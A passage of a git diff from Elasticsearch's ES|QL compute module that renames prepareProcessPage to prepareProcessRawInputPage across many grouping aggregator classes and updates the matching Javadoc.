+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BooleanBlock valuesBlock = page.getBlock(channels.get(0));
     BooleanVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopBytesRefGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopBytesRefGroupingAggregatorFunction.java
index 4ab5bb9875107..a2161368a78ef 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopBytesRefGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopBytesRefGroupingAggregatorFunction.java
@@ -63,7 +63,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopDoubleGroupingAggregatorFunction.java
index 8a2f4aef9cf35..9f77b1eef8f17 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopDoubleGroupingAggregatorFunction.java
@@ -62,7 +62,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopFloatGroupingAggregatorFunction.java
index d09bf60c82aca..8897d5d29a6ac 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopFloatGroupingAggregatorFunction.java
@@ -62,7 +62,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopIntGroupingAggregatorFunction.java
index 786f0660ea06f..61be97ea70260 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopIntGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopIpGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopIpGroupingAggregatorFunction.java
index 3d1137486fb75..9091409ccf160 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopIpGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopIpGroupingAggregatorFunction.java
@@ -63,7 +63,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopLongGroupingAggregatorFunction.java
index 820aa3c6c63e1..a2ee9a6235deb 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopLongGroupingAggregatorFunction.java
@@ -62,7 +62,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBooleanGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBooleanGroupingAggregatorFunction.java
index a928d0908eb8e..f112d1ae45635 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBooleanGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBooleanGroupingAggregatorFunction.java
@@ -55,7 +55,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BooleanBlock valuesBlock = page.getBlock(channels.get(0));
     BooleanVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBytesRefGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBytesRefGroupingAggregatorFunction.java
index ebbc4cd5eb8a3..c9b689fa1c308 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBytesRefGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesBytesRefGroupingAggregatorFunction.java
@@ -56,7 +56,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesDoubleGroupingAggregatorFunction.java
index e61ffacb17274..12fb48567cbfd 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesDoubleGroupingAggregatorFunction.java
@@ -55,7 +55,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesFloatGroupingAggregatorFunction.java
index d7eb4bc97bacb..865299d3d6689 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesFloatGroupingAggregatorFunction.java
@@ -55,7 +55,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesIntGroupingAggregatorFunction.java
index bd34ac0d27098..def1b78bf2de5 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesIntGroupingAggregatorFunction.java
@@ -54,7 +54,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesLongGroupingAggregatorFunction.java
index 39f485f3b174d..e46d2ca276f9a 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/ValuesLongGroupingAggregatorFunction.java
@@ -55,7 +55,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidCartesianPointDocValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidCartesianPointDocValuesGroupingAggregatorFunction.java
index a959f808e438b..6d08c50e4d1b7 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidCartesianPointDocValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidCartesianPointDocValuesGroupingAggregatorFunction.java
@@ -65,7 +65,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidCartesianPointSourceValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidCartesianPointSourceValuesGroupingAggregatorFunction.java
index a3593b8152dd7..c5bf41c7b7dd5 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidCartesianPointSourceValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidCartesianPointSourceValuesGroupingAggregatorFunction.java
@@ -68,7 +68,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidGeoPointDocValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidGeoPointDocValuesGroupingAggregatorFunction.java
index 77a959e654862..2d8377c7fa787 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidGeoPointDocValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidGeoPointDocValuesGroupingAggregatorFunction.java
@@ -65,7 +65,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidGeoPointSourceValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidGeoPointSourceValuesGroupingAggregatorFunction.java
index fc05c0932f50c..a785997ebb42a 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidGeoPointSourceValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialCentroidGeoPointSourceValuesGroupingAggregatorFunction.java
@@ -68,7 +68,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianPointDocValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianPointDocValuesGroupingAggregatorFunction.java
index 76f66cf41d569..6b048e222d1e5 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianPointDocValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianPointDocValuesGroupingAggregatorFunction.java
@@ -63,7 +63,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianPointSourceValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianPointSourceValuesGroupingAggregatorFunction.java
index 3c1159eb0de11..25c06172d7a6b 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianPointSourceValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianPointSourceValuesGroupingAggregatorFunction.java
@@ -64,7 +64,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianShapeDocValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianShapeDocValuesGroupingAggregatorFunction.java
index 7057281c2ec6f..da45a93c21895 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianShapeDocValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianShapeDocValuesGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianShapeSourceValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianShapeSourceValuesGroupingAggregatorFunction.java
index 21241efbf3198..624e1579de135 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianShapeSourceValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentCartesianShapeSourceValuesGroupingAggregatorFunction.java
@@ -64,7 +64,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoPointDocValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoPointDocValuesGroupingAggregatorFunction.java
index 387ed0abc34bb..d93a69eddae77 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoPointDocValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoPointDocValuesGroupingAggregatorFunction.java
@@ -65,7 +65,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoPointSourceValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoPointSourceValuesGroupingAggregatorFunction.java
index 9d9c10902ada6..0aeac922a5f52 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoPointSourceValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoPointSourceValuesGroupingAggregatorFunction.java
@@ -66,7 +66,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoShapeDocValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoShapeDocValuesGroupingAggregatorFunction.java
index 82553910e1587..4e15b9d3f83ce 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoShapeDocValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoShapeDocValuesGroupingAggregatorFunction.java
@@ -63,7 +63,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoShapeSourceValuesGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoShapeSourceValuesGroupingAggregatorFunction.java
index ccab0870e206d..af6d211657696 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoShapeSourceValuesGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/spatial/SpatialExtentGeoShapeSourceValuesGroupingAggregatorFunction.java
@@ -66,7 +66,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/CountGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/CountGroupingAggregatorFunction.java
index 611118d03872b..49562f379fd1e 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/CountGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/CountGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
     }
 
     @Override
-    public AddInput prepareProcessPage(SeenGroupIds seenGroupIds, Page page) {
+    public AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds, Page page) {
         Block valuesBlock = page.getBlock(blockIndex());
         if (countAll == false) {
             Vector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/FilteredGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/FilteredGroupingAggregatorFunction.java
index 8b7734fe33ab7..e502638011a69 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/FilteredGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/FilteredGroupingAggregatorFunction.java
@@ -39,13 +39,13 @@ record FilteredGroupingAggregatorFunction(GroupingAggregatorFunction next, EvalO
     }
 
     @Override
-    public AddInput prepareProcessPage(SeenGroupIds seenGroupIds, Page page) {
+    public AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds, Page page) {
         try (BooleanBlock filterResult = ((BooleanBlock) filter.eval(page))) {
             ToMask mask = filterResult.toMask();
             // TODO warn on mv fields
             AddInput nextAdd = null;
             try {
-                nextAdd = next.prepareProcessPage(seenGroupIds, page);
+                nextAdd = next.prepareProcessRawInputPage(seenGroupIds, page);
                 AddInput result = new FilteredAddInput(mask.mask(), nextAdd, page.getPositionCount());
                 mask = null;
                 nextAdd = null;
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/FromPartialGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/FromPartialGroupingAggregatorFunction.java
index 19012cabce5a1..8f6c0a8df63eb 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/FromPartialGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/FromPartialGroupingAggregatorFunction.java
@@ -40,7 +40,7 @@ public FromPartialGroupingAggregatorFunction(GroupingAggregatorFunction delegate
     }
 
     @Override
-    public AddInput prepareProcessPage(SeenGroupIds seenGroupIds, Page page) {
+    public AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds, Page page) {
         return new AddInput() {
             @Override
             public void add(int positionOffset, IntBlock groupIds) {
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/GroupingAggregator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/GroupingAggregator.java
index e0d82b1f145b8..931ebcb7afe49 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/GroupingAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/GroupingAggregator.java
@@ -66,7 +66,7 @@ public void add(int positionOffset, IntVector groupIds) {
                 public void close() {}
             };
         } else {
-            return aggregatorFunction.prepareProcessPage(seenGroupIds, page);
+            return aggregatorFunction.prepareProcessRawInputPage(seenGroupIds, page);
         }
     }
 
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/GroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/GroupingAggregatorFunction.java
index 556902174f213..0de8bb9896d64 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/GroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/GroupingAggregatorFunction.java
@@ -105,13 +105,13 @@ default void add(int positionOffset, IntBlock groupIds) {
     }
 
     /**
-     * Prepare to process a single page of input.
+     * Prepare to process a single page of raw input.
      * <p>
      *     This should load the input {@link Block}s and check their types and
      *     select an optimal path and return that path as an {@link AddInput}.
      * </p>
      */
-    AddInput prepareProcessPage(SeenGroupIds seenGroupIds, Page page);  // TODO allow returning null to opt out of the callback loop
+    AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds, Page page);  // TODO allow returning null to opt out of the callback loop
 
     /**
      * Call this to signal to the aggregation that the {@code selected}
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/ToPartialGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/ToPartialGroupingAggregatorFunction.java
index e0087a0ad2340..adcee9462a0ee 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/ToPartialGroupingAggregatorFunction.java
